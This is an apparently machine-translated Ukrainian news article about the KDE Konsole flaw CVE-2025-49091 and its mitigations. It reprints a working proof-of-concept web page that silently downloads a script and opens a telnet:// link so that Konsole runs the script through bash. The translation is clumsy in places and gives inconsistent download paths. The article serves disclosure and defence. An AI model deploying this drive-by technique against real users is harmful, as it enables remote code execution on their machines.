Кілька днів тому була оприлюднена інформація про критична вразливість, який був визначений як "CVE-2025-49091«. Ця вразливість виявлено в Консолі (емулятор терміналу KDE) дозволяє віддалене виконання коду простим відвідуванням шкідливої веб-сторінки з браузера.
Зазначається, що ця проблема впливає на системи, де використовується KTelnetService та вразлива версія Konsole встановлено, але принаймні одна з програм telnet, rlogin або ssh не встановлено. Вразливість знаходиться в консолі емулятора терміналу KDE. Як зазначено в попередженні KDE, версії Konsole до версії 25.04.2 є вразливими.
Konsole підтримує завантаження URL-адрес із контролерів схем, таких як
telnet://URL. Це можна виконати незалежно від того, чи запущено telnet
Бінарний файл доступний.У цьому режимі Konsole мала маршрут, за яким, якщо Telnet був недоступний,
знову використав би bash для наданих аргументів; що
– це надана URL-адреса. Це дозволяє зловмиснику виконати довільний код.
код.Браузери зазвичай відображають повідомлення, коли користувач відкриває зовнішній браузер.
Контролер схеми, який може виглядати підозріло та вимагати втручання користувача
бути експлуатованим.
Джерело проблеми: KTelnetService та небезпечні схеми URL-адрес
Дослідники зазначають, що проблема цієї вразливості полягає в поведінці служби KTelnetService, яка за замовчуванням включена в KDE. Ця служба відповідає за обробку схем URL-адрес telnet://, rlogin:// та ssh:// і призначена для відкриття цих посилань безпосередньо в Konsole за допомогою відповідних утиліт (telnet, rlogin або ssh).
Однак, недолік виникає, коли ці утиліти не встановлені в системі. У такому випадку Konsole, намагаючись виконати команду, зазначену в посиланні, використовує /bin/bash як заміну. Таким чином, зловмисник може створити власне посилання.
Хоча на перший погляд це здається незначним, проблема ускладнюється тим, що зловмисник може виконати будь-який файл у каталозі завантажень користувача за допомогою команди custom. Іншими словами, будь-який файл автоматично виконується, якщо користувач натискає на посилання з цією схемою.
Чому це так небезпечно?
Сучасні браузери, такі як Firefox та Chrome (за замовчуванням), автоматично зберігають завантажені файли в папку ~/Downloads, не вимагаючи підтвердження користувача. Вони відображають сповіщення лише після завершення завантаження.
Така поведінка, у поєднанні з тим фактом, що в системах Linux можливо отримати доступ до поточного шляху до каталогу браузера, дозволяє автоматично завантаженому шкідливому файлу згодом виконуватися з Konsole без відома користувача.
Підтвердження концепції (PoC): Як використовується вразливість
Щоб продемонструвати небезпеку цієї вразливості, дослідники створили наступний фрагмент коду JavaScript, який демонструє, як зловмисник може використати цю вразливість з веб-сторінки:
<html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
У Firefox та Chrome, якщо користувач приймає посилання telnet://, буде викликано наступне:
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil
А якщо telnet відсутній, шкідливий скрипт буде виконано за допомогою bash.
Тимчасові заходи пом'якшення
Поки ви чекаєте на патч або якщо ви не можете оновитися негайно, є два простих способи вирішити проблему:
Встановіть утиліти telnet, rlogin та ssh
Якщо ці утиліти присутні, Konsole викличе їх коректно та не вдаватиметься до bash. Це запобігає виконанню довільного вмісту як скрипта.
sudo apt install telnet rlogin openssh-client
Видалити файл служби KTelnetService
Ви можете видалити файл, відповідальний за реєстрацію цих схем:
sudo rm /usr/share/applications/ktelnetservice6.desktop
Це запобіжить автоматичній обробці посилань telnet://, rlogin:// або ssh:// Konsole.
Рішення: Термінове оновлення до Konsole 25.04.2
Цю вразливість було виправлено у версії Konsole 25.04.2, що входить до оновлення KDE Gear 25.04.2. Усім користувачам та системним адміністраторам наполегливо рекомендується негайно оновити програмне забезпечення.
Нарешті, якщо вам цікаво дізнатися більше про це, ви можете ознайомитися з деталями в наступне посилання.